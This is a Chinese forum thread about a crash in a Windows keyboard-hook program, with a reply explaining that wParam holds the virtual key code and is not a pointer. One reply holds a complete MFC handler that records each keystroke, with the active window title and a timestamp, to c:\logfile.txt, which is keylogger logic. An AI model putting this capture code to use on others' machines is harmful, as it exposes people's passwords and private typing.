EVENTMSG *pEvt=(EVENTMSG *)lParam; 
int vKey=LOBYTE(pEvt-> paramL);//取得虚拟键值 
我调试了一下自己的程序在运行到上面这句时出现错误如下: 
fengle.exe 中的 0x00413df6 处未处理的异常: 0xC0000005: 读取位置 0x00030001 时发生访问冲突 
我发现pEvt->paramH 和pEvt->paramL和pEvt->message中都没有值但是我程序里还有一句代码是 
::GetKeyNameText(lParam, szKey, 80); 
试调结果szKey中的值是正确的,那应该说明lParam没有问题为什么pEvt没有得到正确的值啊?请各位高手帮忙!!!

解决方案 »

  1.   

    long CDialog2::OnHookKey(WPARAM wParam, LPARAM lParam)
    {
    // 此时参数wParam为用户按键的虚拟键码,
    // lParam参数包含按键的重复次数、扫描码、前一个按键状态等信息
    HWND hFocus;//保存当前活动窗口句柄
    wchar_t  szTitle[256];
    FILE *stream=fopen("c:\\logfile.txt","a+t");
     //char szTitle[256];//当前窗口名称
    hFocus=::GetActiveWindow();//取得当前活动窗口句柄
    if(g_hLastFocus!=hFocus)
    {
    ::GetWindowText(hFocus,szTitle,256);
    g_hLastFocus=hFocus;
    }
    CTime pt;
    CString time1,time2;
    pt=CTime::GetCurrentTime();
    time1=pt.Format(_T("%A,  %B   %d,   %Y  "));
    time2=pt.Format(_T("%H : %M : %S "));
    fprintf(stream,"%C%S%C%C%S",10,time1+time2,32,32,szTitle);
    fprintf(stream,"%C%C",32,32);
    fprintf(stream,"\r\n",32);
    EVENTMSG *pEvt=(EVENTMSG *)wParam;//取得虚拟键值
    int vKey=LOBYTE(pEvt->paramL);
    char ch;
    wchar_t  szKey[80];
    ::GetKeyNameText(lParam, szKey, 80);
    int iShift=GetKeyState(0x10);
    //测试SHIFT,CAPTION,NUMLOCK等键是否按下
    int iCapital=GetKeyState(0x14);
    int iNumLock=GetKeyState(0x90);
    bool bShift=(iShift & KeyPressMask)==KeyPressMask;
    bool bCapital=(iCapital & 1)==1;
    bool bNumLock=(iNumLock & 1)==1;
    if (vKey >=48 && vKey<=57) // 数字0-9
    if (!bShift) 
    fprintf(stream,"%c",vKey);

    if (vKey >=65 && vKey<=90)
    {// A-Z       a-z
               if (!bCapital)
    if (bShift) 
    ch=vKey;
    else
    ch=vKey+32;
    else
    if (bShift) 
    ch=vKey+32; 
    else 
    ch=vKey;
    fprintf(stream,"%c",ch);
    }
    //fprintf(stream,"%S",szKey);
    fclose( stream );
    SYSTEMTIME tm;
    GetLocalTime(&tm);
    CString time;
    time.Format(_T(" %d:%02.2d"), tm.wHour, tm.wMinute); CString strItem;
    strItem.Format(time+_T(" 用户按键:%s \r\n"), szKey);

    // 添加到编辑框中
    CString strEdit;
    GetDlgItem(IDC_MSG)->GetWindowText(strEdit);
    GetDlgItem(IDC_MSG)->SetWindowText(strItem + strEdit);
    ::MessageBeep(MB_OK);//This function plays a waveform sound.
    return 0;
    }
      

  2.   

    wParam就是虚拟键值,直接用就可以了。它不是指针,你把它当成指针来用当然会出问题了。